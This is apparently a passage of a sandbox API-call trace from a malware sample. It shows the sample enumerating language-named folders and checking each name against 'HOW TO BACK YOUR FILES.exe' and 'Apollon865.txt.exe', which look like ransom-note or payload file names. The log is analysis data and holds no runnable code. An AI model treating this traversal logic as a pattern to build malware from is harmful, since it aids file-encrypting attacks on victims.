	[0047.368] lstrcpyW (in: lpString1=0x2d3e670, lpString2="et" | out: lpString1="et") returned="et"
	[0047.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff08
	[0047.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ad470
	[0047.368] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff10 | out: ListHead=0x5b76b0, ListEntry=0x59ff10) returned 0x59fef0
	[0047.368] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1
	[0047.368] lstrcmpiW (lpString1="fa", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.368] lstrcmpiW (lpString1="fa", lpString2="Apollon865.txt.exe") returned 1
	[0047.368] lstrcpyW (in: lpString1=0x2d3e670, lpString2="fa" | out: lpString1="fa") returned="fa"
	[0047.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff28
	[0047.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ad5a0
	[0047.368] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff30 | out: ListHead=0x5b76b0, ListEntry=0x59ff30) returned 0x59ff10
	[0047.368] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0047.368] lstrcmpiW (lpString1="fi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.368] lstrcmpiW (lpString1="fi", lpString2="Apollon865.txt.exe") returned 1
	[0047.368] lstrcpyW (in: lpString1=0x2d3e670, lpString2="fi" | out: lpString1="fi") returned="fi"
	[0047.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff48
	[0047.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ad6d0
	[0047.368] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff50 | out: ListHead=0x5b76b0, ListEntry=0x59ff50) returned 0x59ff30
	[0047.368] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
	[0047.368] lstrcmpiW (lpString1="fil", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.368] lstrcmpiW (lpString1="fil", lpString2="Apollon865.txt.exe") returned 1
	[0047.368] lstrcpyW (in: lpString1=0x2d3e670, lpString2="fil" | out: lpString1="fil") returned="fil"
	[0047.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff68
	[0047.368] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x128) returned 0x5ad800
	[0047.368] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff70 | out: ListHead=0x5b76b0, ListEntry=0x59ff70) returned 0x59ff50
	[0047.368] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0047.368] lstrcmpiW (lpString1="fr", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.368] lstrcmpiW (lpString1="fr", lpString2="Apollon865.txt.exe") returned 1
	[0047.369] lstrcpyW (in: lpString1=0x2d3e670, lpString2="fr" | out: lpString1="fr") returned="fr"
	[0047.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff88
	[0047.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ad930
	[0047.369] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff90 | out: ListHead=0x5b76b0, ListEntry=0x59ff90) returned 0x59ff70
	[0047.369] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1
	[0047.369] lstrcmpiW (lpString1="gu", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.369] lstrcmpiW (lpString1="gu", lpString2="Apollon865.txt.exe") returned 1
	[0047.369] lstrcpyW (in: lpString1=0x2d3e670, lpString2="gu" | out: lpString1="gu") returned="gu"
	[0047.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffa8
	[0047.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ada78
	[0047.369] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ffb0 | out: ListHead=0x5b76b0, ListEntry=0x59ffb0) returned 0x59ff90
	[0047.369] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0047.369] lstrcmpiW (lpString1="hi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.369] lstrcmpiW (lpString1="hi", lpString2="Apollon865.txt.exe") returned 1
	[0047.369] lstrcpyW (in: lpString1=0x2d3e670, lpString2="hi" | out: lpString1="hi") returned="hi"
	[0047.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffc8
	[0047.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5adbb0
	[0047.369] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ffd0 | out: ListHead=0x5b76b0, ListEntry=0x59ffd0) returned 0x59ffb0
	[0047.369] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34479e50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34479e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.369] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.369] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0047.369] lstrcmpiW (lpString1="hr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.369] lstrcmpiW (lpString1="hr", lpString2="Apollon865.txt.exe") returned 1
	[0047.369] lstrcpyW (in: lpString1=0x2d3e670, lpString2="hr" | out: lpString1="hr") returned="hr"
	[0047.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ffe8
	[0047.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5adce8
	[0047.369] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fff0 | out: ListHead=0x5b76b0, ListEntry=0x59fff0) returned 0x59ffd0
	[0047.370] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0047.370] lstrcmpiW (lpString1="hu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.370] lstrcmpiW (lpString1="hu", lpString2="Apollon865.txt.exe") returned 1
	[0047.370] lstrcpyW (in: lpString1=0x2d3e670, lpString2="hu" | out: lpString1="hu") returned="hu"
	[0047.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0008
	[0047.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ade20
	[0047.370] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0010 | out: ListHead=0x5b76b0, ListEntry=0x5a0010) returned 0x59fff0
	[0047.370] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0047.370] lstrcmpiW (lpString1="id", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.370] lstrcmpiW (lpString1="id", lpString2="Apollon865.txt.exe") returned 1
	[0047.370] lstrcpyW (in: lpString1=0x2d3e670, lpString2="id" | out: lpString1="id") returned="id"
	[0047.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0028
	[0047.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5adf58
	[0047.370] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0030 | out: ListHead=0x5b76b0, ListEntry=0x5a0030) returned 0x5a0010
	[0047.370] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0047.370] lstrcmpiW (lpString1="it", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.370] lstrcmpiW (lpString1="it", lpString2="Apollon865.txt.exe") returned 1
	[0047.370] lstrcpyW (in: lpString1=0x2d3e670, lpString2="it" | out: lpString1="it") returned="it"
	[0047.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0048
	[0047.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ae090
	[0047.370] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0050 | out: ListHead=0x5b76b0, ListEntry=0x5a0050) returned 0x5a0030
	[0047.370] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1
	[0047.370] lstrcmpiW (lpString1="iw", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.370] lstrcmpiW (lpString1="iw", lpString2="Apollon865.txt.exe") returned 1
	[0047.370] lstrcpyW (in: lpString1=0x2d3e670, lpString2="iw" | out: lpString1="iw") returned="iw"
	[0047.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0068
	[0047.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ae1c8
	[0047.370] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0070 | out: ListHead=0x5b76b0, ListEntry=0x5a0070) returned 0x5a0050
	[0047.370] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0047.370] lstrcmpiW (lpString1="ja", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.371] lstrcmpiW (lpString1="ja", lpString2="Apollon865.txt.exe") returned 1
	[0047.371] lstrcpyW (in: lpString1=0x2d3e670, lpString2="ja" | out: lpString1="ja") returned="ja"
	[0047.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0088
	[0047.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ae300
	[0047.371] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0090 | out: ListHead=0x5b76b0, ListEntry=0x5a0090) returned 0x5a0070
	[0047.371] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1
	[0047.371] lstrcmpiW (lpString1="kn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.371] lstrcmpiW (lpString1="kn", lpString2="Apollon865.txt.exe") returned 1
	[0047.371] lstrcpyW (in: lpString1=0x2d3e670, lpString2="kn" | out: lpString1="kn") returned="kn"
	[0047.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a00a8
	[0047.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ae438
	[0047.371] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a00b0 | out: ListHead=0x5b76b0, ListEntry=0x5a00b0) returned 0x5a0090
	[0047.371] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0047.371] lstrcmpiW (lpString1="ko", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.371] lstrcmpiW (lpString1="ko", lpString2="Apollon865.txt.exe") returned 1
	[0047.371] lstrcpyW (in: lpString1=0x2d3e670, lpString2="ko" | out: lpString1="ko") returned="ko"
	[0047.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a00c8
	[0047.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ae570
	[0047.371] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a00d0 | out: ListHead=0x5b76b0, ListEntry=0x5a00d0) returned 0x5a00b0
	[0047.371] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0047.371] lstrcmpiW (lpString1="lt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.371] lstrcmpiW (lpString1="lt", lpString2="Apollon865.txt.exe") returned 1
	[0047.371] lstrcpyW (in: lpString1=0x2d3e670, lpString2="lt" | out: lpString1="lt") returned="lt"
	[0047.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a00e8
	[0047.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ae6a8
	[0047.371] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a00f0 | out: ListHead=0x5b76b0, ListEntry=0x5a00f0) returned 0x5a00d0
	[0047.371] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0047.371] lstrcmpiW (lpString1="lv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.371] lstrcmpiW (lpString1="lv", lpString2="Apollon865.txt.exe") returned 1
	[0047.371] lstrcpyW (in: lpString1=0x2d3e670, lpString2="lv" | out: lpString1="lv") returned="lv"
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0108
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ae7e0
	[0047.372] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0110 | out: ListHead=0x5b76b0, ListEntry=0x5a0110) returned 0x5a00f0
	[0047.372] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1
	[0047.372] lstrcmpiW (lpString1="ml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.372] lstrcmpiW (lpString1="ml", lpString2="Apollon865.txt.exe") returned 1
	[0047.372] lstrcpyW (in: lpString1=0x2d3e670, lpString2="ml" | out: lpString1="ml") returned="ml"
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0128
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ae918
	[0047.372] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0130 | out: ListHead=0x5b76b0, ListEntry=0x5a0130) returned 0x5a0110
	[0047.372] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1
	[0047.372] lstrcmpiW (lpString1="mr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.372] lstrcmpiW (lpString1="mr", lpString2="Apollon865.txt.exe") returned 1
	[0047.372] lstrcpyW (in: lpString1=0x2d3e670, lpString2="mr" | out: lpString1="mr") returned="mr"
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0148
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5aea50
	[0047.372] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0150 | out: ListHead=0x5b76b0, ListEntry=0x5a0150) returned 0x5a0130
	[0047.372] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1
	[0047.372] lstrcmpiW (lpString1="ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.372] lstrcmpiW (lpString1="ms", lpString2="Apollon865.txt.exe") returned 1
	[0047.372] lstrcpyW (in: lpString1=0x2d3e670, lpString2="ms" | out: lpString1="ms") returned="ms"
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0168
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5aeb88
	[0047.372] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0170 | out: ListHead=0x5b76b0, ListEntry=0x5a0170) returned 0x5a0150
	[0047.372] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb", cAlternateFileName="")) returned 1
	[0047.372] lstrcmpiW (lpString1="nb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.372] lstrcmpiW (lpString1="nb", lpString2="Apollon865.txt.exe") returned 1
	[0047.372] lstrcpyW (in: lpString1=0x2d3e670, lpString2="nb" | out: lpString1="nb") returned="nb"
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0188
	[0047.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5aecc0
	[0047.373] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0190 | out: ListHead=0x5b76b0, ListEntry=0x5a0190) returned 0x5a0170
	[0047.373] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0047.373] lstrcmpiW (lpString1="nl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.373] lstrcmpiW (lpString1="nl", lpString2="Apollon865.txt.exe") returned 1
	[0047.373] lstrcpyW (in: lpString1=0x2d3e670, lpString2="nl" | out: lpString1="nl") returned="nl"
	[0047.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a01a8
	[0047.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5aedf8
	[0047.373] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a01b0 | out: ListHead=0x5b76b0, ListEntry=0x5a01b0) returned 0x5a0190
